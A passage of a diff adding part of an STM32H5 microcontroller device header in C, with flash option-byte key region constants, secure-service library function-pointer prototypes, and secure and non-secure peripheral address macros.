FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3_SIZE (0x13F0U) /*!< 5104 Bytes HDPL3 option byte keys */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) +#define FLASH_OBK_HDPL3S_BASE_NS (FLASH_OBK_HDPL3_BASE_NS) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3S_BASE_S (FLASH_OBK_HDPL3_BASE_S) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3S_SIZE (0x0C00U) /*!< 3072 Bytes of secure HDPL3 option byte keys */ + +#define FLASH_OBK_HDPL3NS_BASE_NS (FLASH_OBK_HDPL3_BASE_NS + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3NS_BASE_S (FLASH_OBK_HDPL3_BASE_S + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3NS_SIZE (FLASH_OBK_HDPL3_SIZE - FLASH_OBK_HDPL3S_SIZE) /*!< 2032 Bytes of non-secure HDPL3 option byte keys */ +#endif /* CMSE */ + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB68UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB84UL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE (0xBF9FB68UL) +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it jumps to the non-secure reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3NS_TypeDef)(uint32_t VectorTableAddr); + +/** + * @brief Input parameter definition of RSSLIB_DataProvisioning + */ +typedef struct +{ + uint32_t *pSource; /*!< Address of the Data to be provisioned, shall be in SRAM3 */ + uint32_t *pDestination; /*!< Address in OBKeys sections where to provision Data */ + uint32_t Size; /*!< Size in bytes of the Data to be provisioned*/ + uint32_t DoEncryption; /*!< Notifies RSSLIB_DataProvisioning to encrypt or not Data*/ + uint32_t Crc; /*!< CRC over full Data buffer and previous field in the structure*/ +} RSSLIB_DataProvisioningConf_t; + +/** + * @brief Prototype of RSSLIB Data Provisioning Function + * @detail This function write Data within OBKeys sections. + * @param pointer on the structure defining Data to be provisioned and where to + * provision them within OBKeys sections. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_NSC_DataProvisioning_TypeDef)(RSSLIB_DataProvisioningConf_t *pConfig); + + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM RSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; + __IM RSSLIB_S_JumpHDPlvl3NS_TypeDef JumpHDPLvl3NS; +} S_pFuncTypeDef; + +/** + * @brief RSSLib Non-secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_NSC_DataProvisioning_TypeDef DataProvisioning; +} NSC_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + uint32_t RESERVED1[3]; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/*!< Non Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define NSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB6CUL) +#define NSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB74UL) + +/************ RSSLIB function return constants ********************************/ +#define NSSLIB_ERROR (0xF5F5F5F5UL) +#define NSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define NSSLIB_PFUNC_BASE (0xBF9FB6CUL) +#define NSSLIB_PFUNC ((NSSLIB_pFunc_TypeDef *)NSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM NSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM NSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; +} NSSLIB_pFunc_TypeDef; + + +/** @} */ /* End of group STM32H5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *)TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *)TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *)TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *)TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *)TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *)TIM7_BASE_NS) +#define TIM12_NS ((TIM_TypeDef *)TIM12_BASE_NS) +#define TIM13_NS ((TIM_TypeDef *)TIM13_BASE_NS) +#define TIM14_NS ((TIM_TypeDef *)TIM14_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *)WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *)IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *)SPI2_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *)SPI3_BASE_NS) +#define USART2_NS ((USART_TypeDef *)USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *)USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *)UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *)UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *)I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *)I2C2_BASE_NS) +#define I3C1_NS ((I3C_TypeDef *)I3C1_BASE_NS) +#define CRS_NS ((CRS_TypeDef *)CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *)USART6_BASE_NS) +#define USART10_NS ((USART_TypeDef *)USART10_BASE_NS) +#define USART11_NS ((USART_TypeDef *)USART11_BASE_NS) +#define CEC_NS ((CEC_TypeDef *)CEC_BASE_NS) +#define UART7_NS ((USART_TypeDef *)UART7_BASE_NS) +#define UART8_NS ((USART_TypeDef *)UART8_BASE_NS) +#define UART9_NS ((USART_TypeDef *)UART9_BASE_NS) +#define UART12_NS ((USART_TypeDef *)UART12_BASE_NS) +#define DTS_NS ((DTS_TypeDef *)DTS_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *)LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_NS) +#define FDCAN2_NS ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *)UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SPI4_NS ((SPI_TypeDef *) SPI4_BASE_NS) +#define SPI6_NS ((SPI_TypeDef *) SPI6_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA2_NS ((DMA_TypeDef *) GPDMA2_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ETH_NS ((ETH_TypeDef *) ETH_BASE_NS) +#define ETH_MAC_NS ((ETH_TypeDef *) ETH_MAC_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA2_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_NS) +#define GPDMA2_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_NS) +#define GPDMA2_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_NS) +#define GPDMA2_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_NS) +#define GPDMA2_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_NS) +#define GPDMA2_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_NS) +#define GPDMA2_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_NS) +#define GPDMA2_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) + + +/*!< APB3 Non secure peripherals */ +#define SBS_NS ((SBS_TypeDef *) SBS_BASE_NS) +#define SPI5_NS ((SPI_TypeDef *) SPI5_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define LPTIM5_NS ((LPTIM_TypeDef *) LPTIM5_BASE_NS) +#define LPTIM6_NS ((LPTIM_TypeDef *) LPTIM6_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) + +/*!< AHB4 Non secure peripherals */ +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) + +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define FMC_Bank5_6_R_NS ((FMC_Bank5_6_TypeDef *) FMC_Bank5_6_R_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *)TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *)TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *)TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *)TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *)TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *)TIM7_BASE_S) +#define TIM12_S ((TIM_TypeDef *)TIM12_BASE_S) +#define TIM13_S ((TIM_TypeDef *)TIM13_BASE_S) +#define TIM14_S ((TIM_TypeDef *)TIM14_BASE_S) +#define WWDG_S ((WWDG_TypeDef *)WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *)IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *)SPI2_BASE_S) +#define SPI3_S ((SPI_TypeDef *)SPI3_BASE_S) +#define USART2_S ((USART_TypeDef *)USART2_BASE_S) +#define USART3_S ((USART_TypeDef *)USART3_BASE_S) +#define UART4_S ((USART_TypeDef *)UART4_BASE_S) +#define UART5_S ((USART_TypeDef *)UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *)I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *)I2C2_BASE_S) +#define I3C1_S ((I3C_TypeDef *)I3C1_BASE_S) +#define CRS_S ((CRS_TypeDef *)CRS_BASE_S) +#define USART6_S ((USART_TypeDef *)USART6_BASE_S) +#define USART10_S ((USART_TypeDef *)USART10_BASE_S) +#define USART11_S ((USART_TypeDef *)USART11_BASE_S) +#define CEC_S ((CEC_TypeDef *)CEC_BASE_S) +#define UART7_S ((USART_TypeDef *)UART7_BASE_S) +#define UART8_S ((USART_TypeDef *)UART8_BASE_S) +#define UART9_S ((USART_TypeDef *)UART9_BASE_S) +#define UART12_S ((USART_TypeDef *)UART12_BASE_S) +#define DTS_S ((DTS_TypeDef *)DTS_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *)LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_S) +#define FDCAN2_S ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *)UCPD1_BASE_S) + +/*!< APB2 secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SPI4_S ((SPI_TypeDef *) SPI4_BASE_S) +#define SPI6_S ((SPI_TypeDef *) SPI6_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define USB_DRD_FS_S ((USB_DRD_TypeDef *)USB_DRD_BASE_S) +#define USB_DRD_PMA_BUFF_S ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_S) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA2_S ((DMA_TypeDef *) GPDMA2_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define ETH_S ((ETH_TypeDef *) ETH_BASE_S) +#define ETH_MAC_S ((ETH_TypeDef *) ETH_MAC_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA2_Channel0_S ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_S) +#define GPDMA2_Channel1_S ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_S) +#define GPDMA2_Channel2_S ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_S) +#define GPDMA2_Channel3_S ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_S) +#define GPDMA2_Channel4_S ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_S) +#define GPDMA2_Channel5_S ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_S) +#define GPDMA2_Channel6_S ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_S) +#define GPDMA2_Channel7_S ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_S) + + +/*!< AHB2 secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) + +/*!< APB3 secure peripherals */ +#define SBS_S ((SBS_TypeDef *) SBS_BASE_S) +#define SPI5_S ((SPI_TypeDef *) SPI5_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define LPTIM5_S ((LPTIM_TypeDef *) LPTIM5_BASE_S) +#define LPTIM6_S ((LPTIM_TypeDef *) LPTIM6_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) + +/*!< AHB4 secure peripherals */ +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) + +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define FMC_Bank5_6_R_S ((FMC_Bank5_6_TypeDef *) FMC_Bank5_6_R_BASE_S) + +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) + +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define FLASH_OBK_BASE FLASH_OBK_BASE_S +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_S +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define 